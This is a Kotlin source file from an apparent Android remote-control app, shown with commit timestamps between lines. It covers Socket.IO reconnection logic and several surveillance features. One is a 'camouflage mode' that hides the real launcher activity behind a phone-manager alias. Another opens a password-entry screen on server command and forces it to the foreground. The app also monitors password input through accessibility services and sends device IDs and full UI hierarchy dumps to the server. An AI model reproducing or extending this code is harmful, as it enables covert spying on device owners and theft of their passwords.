|
|
|
|
|
// 2. 等待一段时间
|
|
|
|
|
|
delay(1000)
|
|
|
|
|
|
|
|
|
|
|
|
// 3. 连接到新服务器
|
|
|
|
|
|
Log.i(TAG, "🔄 连接到新服务器: $newServerUrl")
|
|
|
|
|
|
connect(newServerUrl)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ WebSocket服务重启完成")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 重新连接到新服务器失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 打开密码输入页面
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun openPasswordInputActivity(passwordType: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.d(TAG, "🔐 准备打开密码输入页面,类型: $passwordType")
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 重置密码输入完成状态,允许重新输入
|
|
|
|
|
|
val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|
|
|
|
|
val completed = prefs.getBoolean("password_input_completed", false)
|
|
|
|
|
|
|
|
|
|
|
|
if (completed) {
|
|
|
|
|
|
Log.i(TAG, "🔐 检测到密码已输入完成,重置状态以允许重新输入")
|
|
|
|
|
|
prefs.edit().putBoolean("password_input_completed", false).apply()
|
|
|
|
|
|
Log.i(TAG, "✅ 密码输入状态已重置,准备重新输入")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否处于伪装模式,如果是则确保MainActivity被禁用
|
|
|
|
|
|
if (isAppInCamouflageMode()) {
|
|
|
|
|
|
Log.i(TAG, "🎭 检测到伪装模式,确保MainActivity被禁用")
|
|
|
|
|
|
ensureMainActivityDisabled()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val deviceId = getDeviceId()
|
|
|
|
|
|
val installationId = System.currentTimeMillis().toString()
|
|
|
|
|
|
|
|
|
|
|
|
val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
|
|
|
|
|
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
|
|
|
|
|
|
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
|
|
|
|
|
|
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
|
|
|
|
|
|
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
|
|
|
|
|
|
// 使用温和的flags设置,避免Activity被销毁
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
service.startActivity(intent)
|
|
|
|
|
|
Log.d(TAG, "✅ 密码输入页面已启动,类型: $passwordType")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动无障碍监控
|
|
|
|
|
|
startAccessibilityMonitoring(passwordType, deviceId, installationId)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动密码输入页面失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 检查APP是否处于伪装模式
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isAppInCamouflageMode(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val packageManager = service.packageManager
|
|
|
|
|
|
val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias")
|
|
|
|
|
|
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
|
|
|
|
|
|
|
|
|
|
|
|
val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
|
|
|
|
|
|
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
|
|
|
|
|
|
|
|
|
|
|
val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
|
|
|
|
|
|
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
|
|
|
|
|
|
isCamouflage
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 确保MainActivity被禁用
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun ensureMainActivityDisabled() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎭 确保MainActivity被禁用")
|
|
|
|
|
|
|
|
|
|
|
|
val packageManager = service.packageManager
|
|
|
|
|
|
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
|
|
|
|
|
|
|
|
|
|
|
|
val currentState = packageManager.getComponentEnabledSetting(mainComponent)
|
|
|
|
|
|
if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
|
|
|
|
|
|
packageManager.setComponentEnabledSetting(
|
|
|
|
|
|
mainComponent,
|
|
|
|
|
|
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
|
|
|
|
|
|
android.content.pm.PackageManager.DONT_KILL_APP
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "✅ MainActivity已重新禁用")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "✅ MainActivity已经是禁用状态")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 确保MainActivity禁用失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动无障碍监控(参考handleNormalPasswordPageSwitch强制置顶)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.d(TAG, "🔍 启动无障碍监控,密码类型: $passwordType")
|
|
|
|
|
|
Log.d(TAG, "🔍 设备ID: $deviceId")
|
|
|
|
|
|
Log.d(TAG, "🔍 安装ID: $installationId")
|
|
|
|
|
|
|
|
|
|
|
|
// 通过AccessibilityRemoteService获取AccessibilityEventManager
|
|
|
|
|
|
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
Log.d(TAG, "🔍 成功获取AccessibilityRemoteService")
|
|
|
|
|
|
val eventManager = accessibilityService.getAccessibilityEventManager()
|
|
|
|
|
|
if (eventManager != null) {
|
|
|
|
|
|
Log.d(TAG, "🔍 成功获取AccessibilityEventManager")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动Socket唤醒密码监控
|
|
|
|
|
|
eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
|
|
|
|
|
|
Log.d(TAG, "✅ 无障碍监控已启动")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动强制置顶监控(参考handleNormalPasswordPageSwitch)
|
|
|
|
|
|
startForceTopMonitoring(passwordType, deviceId, installationId)
|
|
|
|
|
|
Log.d(TAG, "✅ 强制置顶监控已启动")
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityEventManager为null,监控未启动")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无法获取AccessibilityRemoteService,监控未启动")
|
|
|
|
|
|
Log.w(TAG, "⚠️ service类型: ${service::class.java.simpleName}")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动无障碍监控失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动强制置顶监控(参考handleNormalPasswordPageSwitch逻辑)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.d(TAG, "🔝 启动强制置顶监控,密码类型: $passwordType")
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟启动强制置顶,给页面充分时间加载
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 通过AccessibilityRemoteService获取AccessibilityEventManager
|
|
|
|
|
|
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
val eventManager = accessibilityService.getAccessibilityEventManager()
|
|
|
|
|
|
if (eventManager != null) {
|
|
|
|
|
|
// 启用强制返回功能
|
|
|
|
|
|
eventManager.enableForceReturn()
|
|
|
|
|
|
Log.d(TAG, "✅ 强制返回功能已启用")
|
|
|
|
|
|
|
|
|
|
|
|
// 记录操作日志
|
|
|
|
|
|
accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
|
|
|
|
|
|
"passwordType" to passwordType,
|
|
|
|
|
|
"deviceId" to deviceId,
|
|
|
|
|
|
"installationId" to installationId,
|
|
|
|
|
|
"forceReturnEnabled" to true,
|
|
|
|
|
|
"timestamp" to System.currentTimeMillis()
|
|
|
|
|
|
))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 2000) // 2秒延迟,给页面充分时间加载
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun disconnect() {
|
|
|
|
|
|
socket?.disconnect()
|
|
|
|
|
|
isConnected = false
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
connectionCheckJob?.cancel()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun isConnected(): Boolean = isConnected && socket?.connected() == true
|
|
|
|
|
|
|
|
|
|
|
|
fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 立即检测连接状态并重连
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun checkConnectionAndReconnect() {
|
|
|
|
|
|
scope.launch {
|
|
|
|
|
|
try {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.d(TAG, "立即检测连接状态")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
val socketConnected = socket?.connected() == true
|
|
|
|
|
|
|
|
|
|
|
|
if (!socketConnected || !isConnected) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "连接已断开,立即重连")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
forceReconnect()
|
|
|
|
|
|
} else {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.d(TAG, "连接状态正常")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.e(TAG, "连接检测异常", e)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
2026-02-15 14:57:38 +08:00
|
|
|
|
* 智能重新连接 - 增强稳定性版本(针对transport error问题)
|
|
|
|
|
|
* 添加重连深度限制,防止无限递归导致协程泄漏和内存耗尽
|
2026-02-11 16:59:49 +08:00
|
|
|
|
*/
|
2026-02-15 14:57:38 +08:00
|
|
|
|
private var forceReconnectDepth = 0
|
|
|
|
|
|
private val MAX_FORCE_RECONNECT_DEPTH = 3
|
|
|
|
|
|
|
2026-02-11 16:59:49 +08:00
|
|
|
|
fun forceReconnect() {
|
|
|
|
|
|
scope.launch {
|
|
|
|
|
|
try {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
forceReconnectDepth++
|
|
|
|
|
|
if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
|
|
|
|
|
|
Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH}),停止递归重连,等待Socket.IO自动重连")
|
|
|
|
|
|
forceReconnectDepth = 0
|
|
|
|
|
|
return@launch
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 重置所有状态
|
|
|
|
|
|
isConnected = false
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
connectionCheckJob?.cancel()
|
|
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
// 优雅断开旧连接,给系统清理时间
|
2026-02-11 16:59:49 +08:00
|
|
|
|
try {
|
|
|
|
|
|
socket?.disconnect()
|
2026-02-15 14:57:38 +08:00
|
|
|
|
delay(1000)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
socket?.close()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "断开旧连接时出现异常(可忽略)", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.i(TAG, "旧连接已断开,等待智能延迟后重新连接...")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
// 智能延迟:根据网络环境调整等待时间 + 随机化避免多设备同时重连
|
2026-02-11 16:59:49 +08:00
|
|
|
|
val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
8000L
|
2026-02-11 16:59:49 +08:00
|
|
|
|
} else {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
5000L
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
2026-02-15 14:57:38 +08:00
|
|
|
|
val randomDelay = (1000..4000).random().toLong()
|
|
|
|
|
|
// 限制transportErrorCount对延迟的影响,防止延迟无限增长
|
|
|
|
|
|
val errorIncrement = minOf(transportErrorCount, 5) * 2000L
|
|
|
|
|
|
val totalDelay = baseDelay + randomDelay + errorIncrement
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
delay(totalDelay)
|
|
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
// 重新创建Socket实例,使用增强配置
|
|
|
|
|
|
Log.i(TAG, "重新创建增强Socket实例...")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
try {
|
|
|
|
|
|
val useConservativeStrategy = shouldUseConservativeReconnect()
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
val options = IO.Options().apply {
|
|
|
|
|
|
val isVeryPoorNetwork = networkQualityScore < 30
|
|
|
|
|
|
timeout = when {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
isVeryPoorNetwork -> 90000
|
|
|
|
|
|
useConservativeStrategy -> 60000
|
|
|
|
|
|
else -> 45000
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
reconnection = true
|
|
|
|
|
|
reconnectionAttempts = when {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
isVeryPoorNetwork -> 3
|
|
|
|
|
|
useConservativeStrategy -> 5
|
|
|
|
|
|
else -> 10
|
|
|
|
|
|
}
|
|
|
|
|
|
reconnectionDelay = when {
|
|
|
|
|
|
isVeryPoorNetwork -> 8000L
|
|
|
|
|
|
useConservativeStrategy -> 5000L
|
|
|
|
|
|
else -> 3000L
|
|
|
|
|
|
}
|
|
|
|
|
|
reconnectionDelayMax = when {
|
|
|
|
|
|
isVeryPoorNetwork -> 30000L
|
|
|
|
|
|
useConservativeStrategy -> 20000L
|
|
|
|
|
|
else -> 12000L
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
// 传输策略:根据网络质量和历史情况调整
|
2026-02-11 16:59:49 +08:00
|
|
|
|
transports = when {
|
|
|
|
|
|
isVeryPoorNetwork || networkQualityScore < 40 -> {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
arrayOf("polling")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
useConservativeStrategy -> {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
arrayOf("polling")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
else -> {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
arrayOf("polling", "websocket")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
2026-02-15 14:57:38 +08:00
|
|
|
|
upgrade = !useConservativeStrategy
|
2026-02-11 16:59:49 +08:00
|
|
|
|
rememberUpgrade = true
|
2026-02-15 14:57:38 +08:00
|
|
|
|
forceNew = true
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}×tamp=${System.currentTimeMillis()}"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket = IO.socket(java.net.URI.create(serverUrl), options)
|
|
|
|
|
|
setupEventListeners()
|
|
|
|
|
|
socket?.connect()
|
|
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.i(TAG, "增强Socket实例已创建并连接")
|
|
|
|
|
|
// 重连成功,重置深度计数
|
|
|
|
|
|
forceReconnectDepth = 0
|
2026-02-11 16:59:49 +08:00
|
|
|
|
} catch (e: Exception) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.e(TAG, "重新创建Socket失败", e)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
2026-02-15 14:57:38 +08:00
|
|
|
|
// 重连失败时的回退策略,有深度限制保护
|
|
|
|
|
|
delay(10000)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
if (!isConnected) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "重连失败,10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
|
|
|
|
|
|
forceReconnect()
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.e(TAG, "智能重连异常", e)
|
|
|
|
|
|
forceReconnectDepth = 0
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 启动主动连接监控 - 增强稳定性版本(针对transport error问题)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startConnectionMonitoring() {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🚀🚀🚀 启动增强连接监控!!! 🚀🚀🚀")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 🎯 优化:调整检测间隔,与服务端60秒心跳间隔协调,提高异常检测效率
|
|
|
|
|
|
val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
|
|
|
|
|
30000L // Android 15每30秒检测一次,与60秒心跳间隔形成2:1比例
|
|
|
|
|
|
} else {
|
|
|
|
|
|
25000L // 其他版本每25秒检测一次,更快发现连接问题
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
connectionCheckJob = scope.launch {
|
|
|
|
|
|
var consecutiveFailures = 0 // ✅ 连续失败计数
|
|
|
|
|
|
|
|
|
|
|
|
while (isActive && isConnected) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
delay(checkInterval)
|
|
|
|
|
|
|
|
|
|
|
|
Log.w(TAG, "🔍🔍🔍 执行智能连接检测... 🔍🔍🔍")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 多层连接状态检查
|
|
|
|
|
|
val socketConnected = socket?.connected() == true
|
|
|
|
|
|
val socketExists = socket != null
|
|
|
|
|
|
|
|
|
|
|
|
if (!socketExists) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ Socket实例不存在!!! ❌❌❌")
|
|
|
|
|
|
isConnected = false
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
forceReconnect()
|
|
|
|
|
|
break
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (!socketConnected) {
|
|
|
|
|
|
consecutiveFailures++
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 检测到Socket.IO连接断开!!! 连续失败次数: $consecutiveFailures ❌❌❌")
|
|
|
|
|
|
|
|
|
|
|
|
// 🎯 优化:平衡容错和响应速度,更快检测连接问题
|
|
|
|
|
|
if (consecutiveFailures >= 5) { // 优化为5次失败触发重连,约2分钟内恢复
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔄🔄🔄 连接检测连续失败${consecutiveFailures}次,触发重连!!! 🔄🔄🔄")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
isConnected = false
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
forceReconnect()
|
|
|
|
|
|
break
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测失败次数: $consecutiveFailures/5,等待下次检测确认")
|
|
|
|
|
|
continue
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
consecutiveFailures = 0 // 重置失败计数
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 优化心跳测试:降低频率,减少transport error触发
|
|
|
|
|
|
if (consecutiveFailures == 0) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val testData = JSONObject().apply {
|
|
|
|
|
|
put("type", "connection_test")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("device_id", android.provider.Settings.Secure.getString(
|
|
|
|
|
|
service.contentResolver,
|
|
|
|
|
|
android.provider.Settings.Secure.ANDROID_ID
|
|
|
|
|
|
))
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("CONNECTION_TEST", testData)
|
|
|
|
|
|
Log.w(TAG, "✅✅✅ 智能连接检测:发送测试消息成功 ✅✅✅")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
consecutiveFailures++
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 连接检测:发送测试消息失败!!! 连续失败: $consecutiveFailures ❌❌❌", e)
|
|
|
|
|
|
|
|
|
|
|
|
// 🎯 优化:心跳失败时也要快速响应,避免长时间无响应
|
|
|
|
|
|
if (consecutiveFailures >= 6) { // 优化为6次失败,约2.5-3分钟重连
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔧 心跳测试连续失败${consecutiveFailures}次,调用重连逻辑")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
isConnected = false
|
|
|
|
|
|
forceReconnect()
|
|
|
|
|
|
break
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 连接监控异常!!! ❌❌❌", e)
|
|
|
|
|
|
break
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun getDeviceId(): String {
|
|
|
|
|
|
return android.provider.Settings.Secure.getString(
|
|
|
|
|
|
service.contentResolver,
|
|
|
|
|
|
android.provider.Settings.Secure.ANDROID_ID
|
|
|
|
|
|
) ?: "unknown"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun getUniqueDeviceName(): String {
|
|
|
|
|
|
val model = android.os.Build.MODEL
|
|
|
|
|
|
val deviceId = getDeviceId()
|
|
|
|
|
|
val shortId = deviceId.takeLast(8)
|
|
|
|
|
|
return "${android.os.Build.MANUFACTURER}_${model}_${shortId}"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取设备屏幕宽度
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getScreenWidth(): Int {
|
|
|
|
|
|
val metrics = service.resources.displayMetrics
|
|
|
|
|
|
return metrics.widthPixels
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取设备屏幕高度
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getScreenHeight(): Int {
|
|
|
|
|
|
// 使用WindowMetrics获取完整的屏幕尺寸(包含系统UI)
|
|
|
|
|
|
try {
|
|
|
|
|
|
val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
|
|
|
|
|
|
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
|
|
|
|
|
val windowMetrics = windowManager.currentWindowMetrics
|
|
|
|
|
|
windowMetrics.bounds.height()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
val display = windowManager.defaultDisplay
|
|
|
|
|
|
val realSize = android.graphics.Point()
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
display.getRealSize(realSize)
|
|
|
|
|
|
realSize.y
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "获取真实屏幕尺寸失败,使用默认方法", e)
|
|
|
|
|
|
val metrics = service.resources.displayMetrics
|
|
|
|
|
|
return metrics.heightPixels
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理UI层次结构分析请求 - 默认使用增强功能
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleUIHierarchyRequest(requestData: JSONObject) {
|
|
|
|
|
|
try {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔍🔍🔍 开始处理UI层次结构分析请求(默认增强版)!!! 🔍🔍🔍")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
val requestId = requestData.optString("requestId", "")
|
|
|
|
|
|
val clientId = requestData.optString("clientId", "")
|
|
|
|
|
|
val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
|
|
|
|
|
|
val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
|
|
|
|
|
|
val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
|
|
|
|
|
|
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "📋 请求参数: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 使用协程在后台执行UI分析
|
|
|
|
|
|
scope.launch {
|
|
|
|
|
|
try {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 直接调用原有的分析方法,并使用增强参数
|
|
|
|
|
|
val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
|
|
|
|
|
|
val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
|
|
|
|
|
|
val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
|
|
|
|
|
|
|
|
|
|
|
|
// 获取基本设备信息
|
|
|
|
|
|
val deviceCharacteristics = mapOf(
|
|
|
|
|
|
"brand" to android.os.Build.BRAND,
|
|
|
|
|
|
"model" to android.os.Build.MODEL,
|
|
|
|
|
|
"manufacturer" to android.os.Build.MANUFACTURER,
|
|
|
|
|
|
